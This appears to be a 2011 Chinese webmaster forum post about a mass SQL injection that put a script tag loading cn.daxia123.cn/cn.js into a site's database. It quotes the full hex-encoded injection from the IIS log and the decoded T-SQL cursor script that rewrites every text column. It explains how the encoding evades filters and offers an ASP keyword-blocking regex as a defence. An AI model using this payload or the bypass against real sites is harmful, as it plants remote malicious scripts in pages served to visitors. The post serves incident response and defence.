LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

数据库被注入解决办法

admin
2011年1月31日 1:59 本文热度 2744
近期,我管理的一个网站被注入木马代码<script src=http://cn.daxia123.cn/cn.js></script>,在百度搜索这段代码,竟然可以搜到20万多的网站被注入了,真是把我郁闷了一天啊!!!!这个木马大概在2008-12-24号爆发至今。。越来越多的网站中标。daxia123

查看IIS日志发现如下信息:

2009-01-01 01:27:35 W3SVC599379226 *.*.*.*GET reads.asp msgid=2068%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0

网上有兄弟把这段代码还原如下:


+展开
-SQL

DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b 
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM
(CONVERT(VARCHAR(4000),['+@C+']))+'' <script 
src=http://cn.daxia123.cn/cn.js> </script>''') 
FETCH NEXT FROM Table_Cursor INTO @T,@C END 
CLOSE Table_Cursor DEALLOCATE Table_Cursor


攻击者将攻击代码用2进制,或10进制编译成了

类似于0x4445434C415245204054205641524348415228323535292C404 的代码:

防sql注入的代码无法识别,但sql server 会将此方式编译的代码还原为原来的样子

这样就绕过了sql防注入代码。

这个代码仅对能解释它的sql server这样的数据库有效

针对access这样的不能解释它的数据库类型攻击无效

真是高手!!!

============================

网上搜索的解决办法,不知道有没有效果,你们可以试一试,消除数据之前一定要备份啊,兄弟们!

解决办法一:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。

可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:



+展开
-HTML

<%
Response.Buffer = True '缓存页面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies) 
'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</script> "
Response.End
End
 If
Next
Set regEx = Nothing
End function
%>


把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 <!--#include file="antisql.asp"--> ,就可以实现全站的防范 sql 注入的攻击了。

解决方法二:在数据库第一个字段前面和最后一个字段后面分别加了一个char型的字段,把字段长度设为1,也就是注入的字段如果大于1则注入失败。

如果有更好的办法,麻烦贴出来。

该文章在 2011/1/31 1:59:41 编辑过

全部评论1

tercel
2011年2月1日 11:24
[br]' 表示匹配 '[br]; 表示匹配 ;[br]# 表示匹配 #[br][br][br]([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)[br][br]匹配这种串:[br][br]以一个或多个由[br]空白符(空格,tab等)或[br]单词分隔符 或[br]+ 或[br]( 或[br]) 或[br][br]组成的串开始[br][br]中间是[br]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists[br][br]这些字符中的一个[br][br]最后以任意多个(可以为0)[br][br]空白符(空格,tab等)或[br]单词分隔符 或[br]+[br][br]组成的串结束[br]

该评论在 2011/2/1 11:24:20 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved